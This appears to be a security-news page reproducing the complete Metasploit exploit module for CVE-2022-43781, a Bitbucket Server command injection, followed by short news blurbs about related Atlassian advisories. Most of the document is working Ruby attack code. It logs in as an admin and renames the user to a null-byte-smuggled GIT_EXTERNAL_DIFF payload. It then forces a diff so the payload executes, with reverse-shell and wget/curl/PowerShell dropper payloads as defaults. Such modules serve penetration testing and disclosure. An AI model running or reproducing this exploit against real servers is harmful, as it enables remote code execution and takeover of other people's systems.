Headline
Bitbucket Environment Variable Remote Command Injection
For various versions of Bitbucket, there is an authenticated command injection vulnerability that can be exploited by injecting environment variables into a user name. This module achieves remote code execution as the atlbitbucket user by injecting the GIT_EXTERNAL_DIFF environment variable, a null character as a delimiter, and arbitrary code into a user’s user name. The value (payload) of the GIT_EXTERNAL_DIFF environment variable will be run once the Bitbucket application is coerced into generating a diff. This Metasploit module requires at least admin credentials, as admins and above only have the option to change their user name.
### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Git include Msf::Exploit::Git::SmartHttp include Msf::Exploit::CmdStager prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'Bitbucket Environment Variable RCE', 'Description' => %q{ For various versions of Bitbucket, there is an authenticated command injection vulnerability that can be exploited by injecting environment variables into a user name. This module achieves remote code execution as the `atlbitbucket` user by injecting the `GIT_EXTERNAL_DIFF` environment variable, a null character as a delimiter, and arbitrary code into a user's user name. The value (payload) of the `GIT_EXTERNAL_DIFF` environment variable will be run once the Bitbucket application is coerced into generating a diff. This module requires at least admin credentials, as admins and above only have the option to change their user name. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ry0taK', # Vulnerability Discovery 'y4er', # PoC and blog post 'Shelby Pace' # Metasploit Module ], 'References' => [ [ 'URL', 'https://y4er.com/posts/cve-2022-43781-bitbucket-server-rce/'], [ 'URL', 'https://confluence.atlassian.com/bitbucketserver/bitbucket-server-and-data-center-security-advisory-2022-11-16-1180141667.html'], [ 'CVE', '2022-43781'] ], 'Platform' => [ 'win', 'unix', 'linux' ], 'Privileged' => true, 'Arch' => [ ARCH_CMD, ARCH_X86, ARCH_X64 ], 'Targets' => [ [ 'Linux Command', { 'Platform' => 'unix', 'Type' => :unix_cmd, 'Arch' => [ ARCH_CMD ], 'Payload' => { 'Space' => 254 }, 'DefaultOptions' => { 'Payload' => 'cmd/unix/reverse_bash' } } ], [ 'Linux Dropper', { 'Platform' => 'linux', 'MaxLineChars' => 254, 'Type' => :linux_dropper, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => %i[wget curl], 'DefaultOptions' => { 'Payload' => 'linux/x86/meterpreter/reverse_tcp' } } ], [ 'Windows Dropper', { 'Platform' => 'win', 'MaxLineChars' => 254, 'Type' => :win_dropper, 'Arch' => [ ARCH_X86, ARCH_X64 ], 'CmdStagerFlavor' => [ :psh_invokewebrequest ], 'DefaultOptions' => { 'Payload' => 'windows/meterpreter/reverse_tcp' } } ] ], 'DisclosureDate' => '2022-11-16', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [ CRASH_SAFE ], 'Reliability' => [ REPEATABLE_SESSION ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ] } ) ) register_options( [ Opt::RPORT(7990), OptString.new('USERNAME', [ true, 'User name to log in with' ]), OptString.new('PASSWORD', [ true, 'Password to log in with' ]), OptString.new('TARGETURI', [ true, 'The URI of the Bitbucket instance', '/']) ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true ) return CheckCode::Unknown('Failed to retrieve a response from the target') unless res return CheckCode::Safe('Target does not appear to be Bitbucket') unless res.body.include?('Bitbucket') nokogiri_data = res.get_html_document footer = nokogiri_data&.at('footer') return CheckCode::Detected('Failed to retrieve version information from Bitbucket') unless footer version_info = footer.at('span')&.children&.text return CheckCode::Detected('Failed to find version information in footer section') unless version_info vers_matches = version_info.match(/v(\d+\.\d+\.\d+)/) return CheckCode::Detected('Failed to find version info in expected format') unless vers_matches && vers_matches.length > 1 version_str = vers_matches[1] vprint_status("Found version #{version_str} of Bitbucket") major, minor, revision = version_str.split('.') rev_num = revision.to_i case major when '7' case minor when '0', '1', '2', '3', '4', '5' return CheckCode::Appears when '6' return CheckCode::Appears if rev_num >= 0 && rev_num <= 18 when '7', '8', '9', '10', '11', '12', '13', '14', '15', '16' return CheckCode::Appears when '17' return CheckCode::Appears if rev_num >= 0 && rev_num <= 11 when '18', '19', '20' return CheckCode::Appears when '21' return CheckCode::Appears if rev_num >= 0 && rev_num <= 5 end when '8' print_status('Versions 8.* are vulnerable only if the mesh setting is disabled') case minor when '0' return CheckCode::Appears if rev_num >= 0 && rev_num <= 4 when '1' return CheckCode::Appears if rev_num >= 0 && rev_num <= 4 when '2' return CheckCode::Appears if rev_num >= 0 && rev_num <= 3 when '3' return CheckCode::Appears if rev_num >= 0 && rev_num <= 2 when '4' return CheckCode::Appears if rev_num == 0 || rev_num == 1 end end CheckCode::Detected end def default_branch @default_branch ||= Rex::Text.rand_text_alpha(5..9) end def uname_payload(cmd) "#{datastore['USERNAME']}\u0000GIT_EXTERNAL_DIFF=$(#{cmd})" end def log_in(username, password) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'login'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access login page') unless res&.body&.include?('login') res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'j_atl_security_check'), 'keep_cookies' => true, 'vars_post' => { 'j_username' => username, 'j_password' => password, '_atl_remember_me' => 'on', 'submit' => 'Log in' } ) fail_with(Failure::UnexpectedReply, 'Didn\'t retrieve a response') unless res res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'projects'), 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'No response from the projects page') unless res unless res.body.include?('Logged in') fail_with(Failure::UnexpectedReply, 'Failed to log in. Please check credentials') end end def create_project proj_uri = normalize_uri(target_uri.path, 'projects?create') res = send_request_cgi( 'method' => 'GET', 'uri' => proj_uri, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Unable to access project creation page') unless res&.body&.include?('Create project') vprint_status('Retrieving security token') html_doc = res.get_html_document token_data = html_doc.at('div//input[@name="atl_token"]') fail_with(Failure::UnexpectedReply, 'Failed to find element containing \'atl_token\'') unless token_data @token = token_data['value'] fail_with(Failure::UnexpectedReply, 'No token found') if @token.blank? project_name = Rex::Text.rand_text_alpha(5..9) project_key = Rex::Text.rand_text_alpha(5..9).upcase res = send_request_cgi( 'method' => 'POST', 'uri' => proj_uri, 'keep_cookies' => true, 'vars_post' => { 'name' => project_name, 'key' => project_key, 'submit' => 'Create project', 'atl_token' => @token } ) fail_with(Failure::UnexpectedReply, 'Failed to receive response from project creation') unless res fail_with(Failure::UnexpectedReply, 'Failed to create project') unless res['Location']&.include?(project_key) print_status('Project creation was successful') [ project_name, project_key ] end def create_repository repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos?create') res = send_request_cgi( 'method' => 'GET', 'uri' => repo_uri, 'keep_cookies' => true ) fail_with(Failure::UnexpectedReply, 'Failed to access repo creation page') unless res html_doc = res.get_html_document dropdown_data = html_doc.at('li[@class="user-dropdown"]') fail_with(Failure::UnexpectedReply, 'Failed to find dropdown to retrieve email address') if dropdown_data.blank? email = dropdown_data&.at('span')&.[]('data-emailaddress') fail_with(Failure::UnexpectedReply, 'Failed to retrieve email address from response') if email.blank? repo_name = Rex::Text.rand_text_alpha(5..9) res = send_request_cgi( 'method' => 'POST', 'uri' => repo_uri, 'keep_cookies' => true, 'vars_post' => { 'name' => repo_name, 'defaultBranchId' => default_branch, 'description' => '', 'scmId' => 'git', 'forkable' => 'false', 'atl_token' => @token, 'submit' => 'Create repository' } ) fail_with(Failure::UnexpectedReply, 'No response received from repo creation') unless res res = send_request_cgi( 'method' => 'GET', 'keep_cookies' => true, 'uri' => normalize_uri(target_uri.path, 'projects', @project_key, 'repos', repo_name, 'browse') ) fail_with(Failure::UnexpectedReply, 'Repository was not created') if res&.code == 404 print_good("Successfully created repository '#{repo_name}'") [ email, repo_name ] end def generate_repo_objects(email, repo_file_data = [], parent_object = nil) txt_data = Rex::Text.rand_text_alpha(5..20) blob_object = GitObject.build_blob_object(txt_data) file_name = "#{Rex::Text.rand_text_alpha(4..10)}.txt" file_data = { mode: '100755', file_name: file_name, sha1: blob_object.sha1 } tree_data = (repo_file_data.empty? ? [ file_data ] : [ file_data, repo_file_data ]) tree_obj = GitObject.build_tree_object(tree_data) commit_obj = GitObject.build_commit_object({ tree_sha1: tree_obj.sha1, email: email, message: Rex::Text.rand_text_alpha(4..30), parent_sha1: (parent_object.nil? ? nil : parent_object.sha1) }) { objects: [ commit_obj, tree_obj, blob_object ], file_data: file_data } end # create two files in two separate commits in order # to view a diff and get code execution def create_commits(email) init_objects = generate_repo_objects(email) commit_obj = init_objects[:objects].first refs = { 'HEAD' => "refs/heads/#{default_branch}", "refs/heads/#{default_branch}" => commit_obj.sha1 } final_objects = generate_repo_objects(email, init_objects[:file_data], commit_obj) repo_objects = final_objects[:objects] + init_objects[:objects] new_commit = final_objects[:objects].first new_file = final_objects[:file_data][:file_name] git_uri = normalize_uri(target_uri.path, "scm/#{@project_key}/#{@repo_name}.git") res = send_receive_pack_request( git_uri, refs['HEAD'], repo_objects, '0' * 40 # no commits should exist yet, so no branch tip in repo yet ) fail_with(Failure::UnexpectedReply, 'Failed to push commit to repository') unless res fail_with(Failure::UnexpectedReply, 'Git responded with an error') if res.body.include?('error:') fail_with(Failure::UnexpectedReply, 'Git push failed') unless res.body.include?('unpack ok') [ new_commit.sha1, commit_obj.sha1, new_file ] end def get_user_id(curr_uname) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin/users/view'), 'vars_get' => { 'name' => curr_uname } ) matched_id = res.get_html_document&.xpath("//script[contains(text(), '\"name\":\"#{curr_uname}\"')]")&.first&.text&.match(/"id":(\d+)/) fail_with(Failure::UnexpectedReply, 'No matches found for id of user') unless matched_id && matched_id.length > 1 matched_id[1] end def change_username(curr_uname, new_uname) @user_id ||= get_user_id(curr_uname) headers = { 'X-Requested-With' => 'XMLHttpRequest', 'X-AUSERID' => @user_id, 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}" } vars = { 'name' => curr_uname, 'newName' => new_uname }.to_json res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/admin/users/rename'), 'ctype' => 'application/json', 'keep_cookies' => true, 'headers' => headers, 'data' => vars ) unless res print_bad('Did not receive a response to the user name change request') return false end unless res.body.include?(new_uname) || res.body.include?('GIT_EXTERNAL_DIFF') print_bad('User name change was unsuccessful') return false end true end def commit_uri(project_key, repo_name, commit_sha) normalize_uri( target_uri.path, 'rest/api/latest/projects', project_key, 'repos', repo_name, 'commits', commit_sha ) end def view_commit_diff(latest_commit_sha, first_commit_sha, diff_file) commit_diff_uri = normalize_uri( commit_uri(@project_key, @repo_name, latest_commit_sha), 'diff', diff_file ) send_request_cgi( 'method' => 'GET', 'uri' => commit_diff_uri, 'keep_cookies' => true, 'vars_get' => { 'since' => first_commit_sha } ) end def delete_repository(username) vprint_status("Attempting to delete repository '#{@repo_name}'") repo_uri = normalize_uri(target_uri.path, 'projects', @project_key, 'repos', @repo_name.downcase) res = send_request_cgi( 'method' => 'DELETE', 'uri' => repo_uri, 'keep_cookies' => true, 'headers' => { 'X-AUSERNAME' => username, 'X-AUSERID' => @user_id, 'X-Requested-With' => 'XMLHttpRequest', 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}", 'ctype' => 'application/json', 'Accept' => 'application/json, text/javascript' } ) unless res&.body&.include?('scheduled for deletion') print_warning('Failed to delete repository') return end print_good('Repository has been deleted') end def delete_project(username) vprint_status("Now attempting to delete project '#{@project_name}'") send_request_cgi( # fails to return a response 'method' => 'DELETE', 'uri' => normalize_uri(target_uri.path, 'projects', @project_key), 'keep_cookies' => true, 'headers' => { 'X-AUSERNAME' => username, 'X-AUSERID' => @user_id, 'X-Requested-With' => 'XMLHttpRequest', 'Origin' => "#{ssl ? 'https' : 'http'}://#{peer}", 'Referer' => "#{ssl ? 'https' : 'http'}://#{peer}/projects/#{@project_key}/settings", 'ctype' => 'application/json', 'Accept' => 'application/json, text/javascript, */*; q=0.01', 'Accept-Encoding' => 'gzip, deflate' } ) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'projects', @project_key), 'keep_cookies' => true ) unless res&.code == 404 print_warning('Failed to delete project') return end print_good('Project has been deleted') end def get_repo res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'rest/api/latest/repos'), 'keep_cookies' => true ) unless res print_status('Couldn\'t access repos page. Will create repo') return [] end json_data = JSON.parse(res.body) unless json_data && json_data['size'] >= 1 print_status('No accessible repositories. Will attempt to create a repo') return [] end repo_data = json_data['values'].first repo_name = repo_data['slug'] project_key = repo_data['project']['key'] unless repo_name && project_key print_status('Could not find repo name and key. Creating repo') return [] end [ repo_name, project_key ] end def get_repo_info unless @project_name && @project_key print_status('Failed to find valid project information. Will attempt to create repo') return nil end res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri('projects', @project_key, 'repos', @project_name, 'commits'), 'keep_cookies' => true ) unless res print_status("Failed to access existing repository #{@project_name}") return nil end html_doc = res.get_html_document commit_data = html_doc.search('a[@class="commitid"]') unless commit_data && commit_data.length > 1 print_status('No commits found for existing repo') return nil end latest_commit = commit_data[0]['data-commitid'] prev_commit = commit_data[1]['data-commitid'] file_uri = normalize_uri(commit_uri(@project_key, @project_name, latest_commit), 'changes') res = send_request_cgi( 'method' => 'GET', 'uri' => file_uri, 'keep_cookies' => true ) return nil unless res json = JSON.parse(res.body) return nil unless json['values'] path = json['values']&.first&.dig('path') return nil unless path [ latest_commit, prev_commit, path['name'] ] end def exploit @use_public_repo = true datastore['GIT_USERNAME'] = datastore['USERNAME'] datastore['GIT_PASSWORD'] = datastore['PASSWORD'] if datastore['USERNAME'].blank? && datastore['PASSWORD'].blank? fail_with(Failure::BadConfig, 'No credentials to log in with.') end log_in(datastore['USERNAME'], datastore['PASSWORD']) @curr_uname = datastore['USERNAME'] @project_name, @project_key = get_repo @repo_name = @project_name @latest_commit, @first_commit, @diff_file = get_repo_info unless @latest_commit && @first_commit && @diff_file @use_public_repo = false @project_name, @project_key = create_project email, @repo_name = create_repository @latest_commit, @first_commit, @diff_file = create_commits(email) print_good("Commits added: #{@first_commit}, #{@latest_commit}") end print_status('Sending payload') case target['Type'] when :win_dropper execute_cmdstager(linemax: target['MaxLineChars'] - uname_payload('cmd.exe /c ').length, noconcat: true, temp: '.') when :linux_dropper execute_cmdstager(linemax: target['MaxLineChars'], noconcat: true) when :unix_cmd execute_command(payload.encoded.strip) end end def cleanup if @curr_uname != datastore['USERNAME'] print_status("Changing user name back to '#{datastore['USERNAME']}'") if change_username(@curr_uname, datastore['USERNAME']) @curr_uname = datastore['USERNAME'] else print_warning('User name is still set to payload.' \ "Please manually change the user name back to #{datastore['USERNAME']}") end end unless @use_public_repo delete_repository(@curr_uname) if @repo_name delete_project(@curr_uname) if @project_name end end def execute_command(cmd, _opts = {}) if target['Platform'] == 'win' curr_payload = (cmd.ends_with?('.exe') ? uname_payload("cmd.exe /c #{cmd}") : uname_payload(cmd)) else curr_payload = uname_payload(cmd) end unless change_username(@curr_uname, curr_payload) fail_with(Failure::UnexpectedReply, 'Failed to change user name to payload') end view_commit_diff(@latest_commit, @first_commit, @diff_file) @curr_uname = curr_payload endend
Related news
Atlassian has released fixes to resolve a critical security flaw in Jira Service Management Server and Data Center that could be abused by an attacker to pass off as another user and gain unauthorized access to susceptible instances. The vulnerability is tracked as CVE-2023-22501 (CVSS score: 9.4) and has been described as a case of broken authentication with low attack complexity. "An
Australian software company Atlassian has rolled out security updates to address two critical flaws affecting Bitbucket Server, Data Center, and Crowd products. The issues, tracked as CVE-2022-43781 and CVE-2022-43782, are both rated 9 out of 10 on the CVSS vulnerability scoring system. CVE-2022-43781, which Atlassian said was introduced in version 7.0.0 of Bitbucket Server and Data Center,
There is a command injection vulnerability using environment variables in Bitbucket Server and Data Center. An attacker with permission to control their username can exploit this issue to execute arbitrary code on the system. This vulnerability can be unauthenticated if the Bitbucket Server and Data Center instance has enabled “Allow public signup”.